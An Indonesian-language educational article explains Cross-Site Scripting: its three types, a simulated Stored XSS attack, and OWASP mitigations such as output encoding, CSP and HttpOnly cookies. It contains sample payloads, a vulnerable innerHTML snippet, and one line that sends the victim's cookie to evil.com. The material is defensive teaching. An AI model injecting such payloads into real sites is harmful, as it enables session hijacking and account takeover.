Bayangkan kamu sedang login ke akun bank online. Tanpa kamu sadari, seorang penyerang telah menyisipkan kode berbahaya di halaman yang kamu buka. Kode itu mengirim cookie login kamu ke server penyerang. Dalam hitungan detik, rekeningmu sudah bisa dikosongkan — dan kamu bahkan tidak tahu apa yang terjadi. Inilah kekuatan Cross-Site Scripting (XSS), salah satu kerentanan web paling berbahaya yang masih sering ditemukan hingga tahun 2026.
Menurut laporan OWASP Foundation, XSS secara konsisten masuk dalam daftar OWASP Top 10 — katalog ancaman web paling kritis di dunia. Dalam OWASP Top 10 edisi terbaru, XSS masuk dalam kategori Injection bersama SQL Injection dan Command Injection. “Cross-Site Scripting telah berevolusi dari sekadar pop-up iseng menjadi vektor serangan serius yang bisa mencuri sesi pengguna, mengubah tampilan website, hingga menyebarkan malware,” tulis OWASP dalam dokumentasi resminya.
Dimas Prasetyo, seorang pentester senior dengan pengalaman lebih dari 8 tahun melakukan security assessment untuk perusahaan fintech dan e-commerce di Indonesia, menegaskan bahwa XSS masih menjadi ‘buah rendah’ yang sering ditemukan. “Di hampir setiap proyek pentest yang saya kerjakan, selalu ada minimal satu temuan XSS. Parahnya, banyak developer yang menganggap remeh karena mengira dampaknya cuma alert box,” ujarnya. Dimas pernah menemukan Stored XSS di halaman profil sebuah marketplace besar yang memungkinkan penyerang mengambil alih akun admin hanya dengan mengirim pesan ke customer service. Artikel ini akan mengupas tuntas apa itu XSS, jenis-jenisnya, bagaimana eksploitasinya bekerja, dan — yang paling penting — bagaimana cara mencegahnya.
Apa Itu Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) adalah kerentanan keamanan pada aplikasi web yang memungkinkan penyerang menyisipkan kode JavaScript berbahaya ke dalam halaman web yang dilihat oleh pengguna lain. Nama “Cross-Site” sebenarnya sedikit menyesatkan — serangan ini tidak selalu melibatkan lebih dari satu situs. Intinya, penyerang “menginjeksi” skrip ke halaman yang seharusnya aman, dan browser korban akan mengeksekusi skrip tersebut seolah-olah itu adalah kode yang sah dari website tersebut.
Bayangkan website seperti sebuah papan tulis publik. Seharusnya hanya pemilik website yang bisa menulis di papan itu. Tapi karena ada celah XSS, penyerang bisa menulis pesan yang terlihat seperti bagian dari papan tersebut. Pengunjung berikutnya akan membaca pesan penyerang dan mengira itu asli. Dalam dunia web, “pesan” ini bisa berupa kode JavaScript yang mencuri data, mengubah tampilan, atau melakukan aksi berbahaya lainnya.
Menurut Badan Siber dan Sandi Negara (BSSN), serangan terhadap aplikasi web — termasuk XSS — merupakan salah satu kategori insiden siber paling banyak dilaporkan di Indonesia sepanjang 2025-2026. Data dari tim incident response BSSN menunjukkan bahwa banyak website pemerintah dan swasta masih memiliki kerentanan input validation dasar yang membuka celah XSS.
Mengapa XSS Berbahaya dan Masuk OWASP Top 10?
XSS bukan sekadar bug yang bikin pop-up muncul. Dampaknya bisa sangat serius:
- Pencurian sesi (session hijacking) — Penyerang mencuri cookie sesi pengguna dan mengambil alih akun tanpa perlu password.
- Pencurian data sensitif — Mulai dari informasi kartu kredit, data pribadi, hingga dokumen rahasia bisa dikirim ke server penyerang.
- Keylogging — Skrip berbahaya merekam setiap ketikan keyboard korban di halaman tersebut.
- Defacement — Penyerang mengubah tampilan website, menampilkan konten palsu atau provokatif.
- Phishing — Menampilkan form login palsu yang terlihat asli untuk mencuri kredensial.
- Penyebaran malware — Mengarahkan pengunjung ke situs yang mengunduh malware secara otomatis (drive-by download).
- Pengambilalihan browser — Dalam kasus ekstrem, penyerang bisa melakukan aksi apapun yang bisa dilakukan pengguna di website tersebut.
Yang membuat XSS sangat berbahaya adalah sifatnya yang exploitable secara massal. Satu celah Stored XSS di halaman yang dikunjungi ribuan orang bisa menginfeksi semua pengunjung tanpa mereka sadari. Inilah alasan OWASP terus mempertahankan XSS di daftar Top 10 mereka.
3 Jenis XSS yang Wajib Kamu Ketahui
XSS terbagi menjadi tiga jenis utama. Masing-masing punya karakteristik, vektor serangan, dan tingkat keparahan yang berbeda.
1. Reflected XSS (Non-Persistent)
Reflected XSS terjadi ketika input pengguna langsung ditampilkan kembali di halaman tanpa sanitasi yang tepat. “Reflected” artinya skrip berbahaya “dipantulkan” oleh server ke browser korban melalui URL atau form submission. Ini adalah jenis XSS yang paling umum ditemukan.
Contoh sederhana: sebuah website memiliki fitur pencarian yang menampilkan query di hasilnya:
https://contoh.com/search?q=kaos
Hasilnya menampilkan: “Hasil pencarian untuk: kaos“. Sekarang, jika penyerang mengganti query dengan:
https://contoh.com/search?q=<script>alert('XSS')</script>
Dan website tidak melakukan sanitasi, maka JavaScript akan tereksekusi di browser korban. Dalam serangan nyata, penyerang akan mengirimkan link berisi payload XSS ke korban melalui email phishing atau media sosial. Begitu korban klik link tersebut, skrip langsung berjalan.
2. Stored XSS (Persistent)
Stored XSS adalah jenis yang paling berbahaya. Di sini, payload XSS disimpan secara permanen di server — misalnya di database, forum post, kolom komentar, atau profil pengguna. Setiap kali pengguna lain membuka halaman yang menampilkan data tersebut, skrip berbahaya akan otomatis tereksekusi.
Dimas Prasetyo menceritakan pengalamannya: “Saya pernah menemukan Stored XSS di halaman profil sebuah marketplace. Penyerang bisa memasukkan payload di field ‘nama toko’, dan setiap admin yang membuka dashboard akan terkena. Payload-nya mengirim cookie admin ke webhook, dan dalam waktu kurang dari 5 menit saya bisa akses full dashboard admin.”
Yang bikin Stored XSS mengerikan: penyerang tidak perlu mengirimkan link ke korban. Setiap pengunjung yang membuka halaman terinfeksi otomatis menjadi korban. Satu serangan bisa berdampak ke ribuan atau jutaan pengguna.
3. DOM-based XSS
DOM-based XSS sedikit berbeda. Serangan terjadi sepenuhnya di sisi client (browser) — tanpa melibatkan server. Kerentanan ini muncul ketika JavaScript di halaman web mengambil data dari sumber yang bisa dikontrol penyerang (seperti URL fragment #) dan memprosesnya dengan cara tidak aman.
Contoh kode JavaScript yang rentan DOM-based XSS:
// Kode tidak aman — mengambil dari URL hash
var input = location.hash.substring(1);
document.getElementById('output').innerHTML = input;
// Penyerang mengirim link:
// https://contoh.com/page#<img src=x onerror=alert('XSS')>
DOM-based XSS seringkali lebih sulit dideteksi karena payload tidak pernah sampai ke server. Tools pemindai tradisional yang hanya melihat response server bisa melewatkannya. Inilah kenapa pentester modern harus paham cara audit kode JavaScript client-side.
Perbandingan Cepat: 3 Jenis XSS
| Aspek | Reflected XSS | Stored XSS | DOM-based XSS |
|---|---|---|---|
| Payload disimpan? | Tidak (sementara) | Ya (permanen di server) | Tidak (di client saja) |
| Target serangan | Individu (via link) | Semua pengunjung | Individu (via crafted URL) |
| Keterlibatan server | Ya (response) | Ya (database) | Tidak (browser saja) |
| Tingkat bahaya | Sedang-Tinggi | Sangat Tinggi | Sedang-Tinggi |
| Metode deteksi | Scanner + manual | Scanner + manual | Manual + code review |
Bagaimana Serangan XSS Bekerja? Simulasi Sederhana
Mari kita lihat bagaimana Stored XSS bekerja dalam skenario dunia nyata:
- Penyerang menemukan celah — Sebuah forum diskusi tidak memfilter input di kolom komentar.
- Payload disisipkan — Penyerang memposting komentar berisi:
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script> - Payload tersimpan — Komentar disimpan di database server tanpa sanitasi.
- Korban membuka halaman — Setiap pengguna yang membuka thread tersebut akan men-download komentar penyerang.
- Browser mengeksekusi skrip — Browser tidak bisa membedakan kode asli website dengan kode penyerang. Cookie korban dikirim ke server penyerang.
- Akun diambil alih — Penyerang menggunakan cookie yang dicuri untuk login sebagai korban.
Ini bukan skenario fiksi. Dimas mengingatkan bahwa teknik ini masih sangat relevan di 2026. “Banyak developer junior menggunakan innerHTML di JavaScript tanpa sadar risikonya. Atau di backend, mereka lupa melakukan output encoding saat menampilkan data dari database. Dua kesalahan kecil itu cukup untuk membuka celah XSS,” jelasnya.
Cara Mencegah dan Mitigasi XSS
Kabar baiknya: XSS 100% bisa dicegah jika kamu mengikuti praktik keamanan yang benar. Ini adalah checklist mitigasi yang direkomendasikan oleh OWASP:
1. Output Encoding — Wajib!
Ini adalah pertahanan utama melawan XSS. Semua data yang ditampilkan ke browser harus di-encode sesuai konteksnya. Karakter khusus seperti <, >, &, ", dan ' harus dikonversi ke HTML entities yang aman (<, >, dll).
- Di PHP: Gunakan
htmlspecialchars($data, ENT_QUOTES, 'UTF-8') - Di JavaScript: Gunakan
textContentalih-alihinnerHTMLuntuk konten teks - Di React: JSX otomatis melakukan escaping — tapi hati-hati dengan
dangerouslySetInnerHTML - Di template engine: Pastikan auto-escaping aktif (default di Handlebars, Jinja2, Thymeleaf)
2. Input Validation — Jangan Percaya Input User!
Validasi input di sisi server (bukan hanya client-side). Terapkan whitelist: tentukan karakter apa yang diizinkan, jangan coba mendaftarkan apa yang dilarang. Untuk nama pengguna, misalnya, hanya izinkan a-z, A-Z, 0-9, dan underscore.
3. Content Security Policy (CSP)
CSP adalah header HTTP yang memberitahu browser dari mana skrip boleh dimuat. Ini adalah lapisan pertahanan tambahan yang sangat powerful:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' https://fonts.googleapis.com;
Dengan CSP di atas, browser akan memblokir semua skrip inline dan skrip dari domain eksternal. Bahkan jika penyerang berhasil menyisipkan tag <script>, browser tidak akan mengeksekusinya.
4. HttpOnly & Secure Cookies
Set cookie dengan flag HttpOnly — ini mencegah JavaScript mengakses cookie via document.cookie. Tambahkan flag Secure agar cookie hanya dikirim melalui HTTPS, dan SameSite=Lax atau SameSite=Strict untuk mencegah CSRF:
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax
5. Framework Modern & Auto-Escaping Template
Gunakan framework modern yang sudah memiliki perlindungan XSS bawaan. React, Vue, Angular, Laravel Blade, dan Django Templates semuanya melakukan auto-escaping secara default. Tapi ingat — fitur seperti dangerouslySetInnerHTML (React) atau v-html (Vue) sengaja melewati escaping. Gunakan hanya jika benar-benar diperlukan dan pastikan datanya sudah dibersihkan.
6. Rutin Lakukan Security Testing
Tools yang bisa kamu gunakan:
- Burp Suite — Intercepting proxy untuk pengujian manual dan otomatis
- OWASP ZAP — Alternatif open source untuk automated scanning
- XSStrike — Tools khusus deteksi dan eksploitasi XSS
- Dalfox — Fast XSS scanner dengan dukungan parameter mining
- CodeQL / Semgrep — Static code analysis untuk menemukan kerentanan di source code
Pertanyaan yang Sering Ditanyakan (FAQ)
Apakah XSS bisa dicegah hanya dengan WAF (Web Application Firewall)?
Tidak. WAF seperti Cloudflare atau AWS Shield memang bisa memblokir banyak payload XSS umum, tapi penyerang yang kreatif bisa menemukan cara untuk bypass. WAF adalah lapisan tambahan, bukan solusi utama. Perbaiki kode aplikasi terlebih dahulu agar tidak rentan dari awal.
Apa perbedaan XSS dengan CSRF?
XSS mengeksekusi kode di browser korban dalam konteks website yang rentan. CSRF (Cross-Site Request Forgery) memaksa browser korban mengirimkan request ke website lain tanpa sepengetahuan korban. Keduanya berbeda, tapi XSS sering digunakan untuk mendapatkan token CSRF dan melancarkan serangan yang lebih kompleks.
Apakah HTTPS melindungi dari XSS?
Tidak. HTTPS hanya mengenkripsi komunikasi antara browser dan server (melindungi dari man-in-the-middle). XSS terjadi di dalam browser korban — HTTPS tidak bisa mencegah skrip berbahaya dari dieksekusi setelah halaman di-load.
Berapa lama waktu yang dibutuhkan untuk belajar mendeteksi XSS?
Dasar-dasar XSS bisa dipelajari dalam 1-2 minggu jika kamu sudah paham HTML dan JavaScript. Untuk menjadi mahir dalam menemukan XSS kompleks (termasuk DOM-based dan bypass CSP), dibutuhkan 3-6 bulan praktik konsisten di platform seperti PortSwigger Web Security Academy atau TryHackMe.
Apakah mobile app juga bisa terkena XSS?
Ya, jika aplikasi mobile menggunakan WebView untuk menampilkan konten web. WebView yang tidak dikonfigurasi dengan benar bisa rentan terhadap XSS. Di Android, pastikan setJavaScriptEnabled(false) kecuali benar-benar diperlukan. Di iOS, gunakan WKWebView dengan konfigurasi yang membatasi eksekusi JavaScript tidak aman.
Kesimpulan
Cross-Site Scripting (XSS) adalah kerentanan yang sudah berusia lebih dari dua dekade namun masih bertengger di OWASP Top 10 hingga 2026. Tiga jenisnya — Reflected, Stored, dan DOM-based XSS — masing-masing punya karakteristik dan vektor serangan berbeda, tapi semuanya bermuara pada satu kelemahan fundamental: aplikasi yang mempercayai input pengguna tanpa validasi yang tepat.
Kabar baiknya, mitigasi XSS sudah sangat mapan. Output encoding, input validation, Content Security Policy, HttpOnly cookies, dan penggunaan framework modern adalah pertahanan berlapis yang — jika diimplementasikan dengan benar — bisa menghilangkan celah XSS sepenuhnya dari aplikasi kamu. Seperti kata Dimas Prasetyo: “XSS adalah kelas kerentanan yang paling bisa dicegah. Kalau developer peduli dan paham, celah ini seharusnya nol.”
Saatnya mulai belajar dan praktik. Pahami bagaimana XSS bekerja, pelajari payload umum, dan — yang paling penting — biasakan menulis kode dengan mentalitas “never trust user input.” Dunia cyber security membutuhkan lebih banyak developer yang security-aware.
Sumber dan referensi: OWASP Foundation — Cross-Site Scripting Prevention Cheat Sheet; BSSN — Laporan Tahunan Keamanan Siber Indonesia 2025; PortSwigger — Web Security Academy: XSS.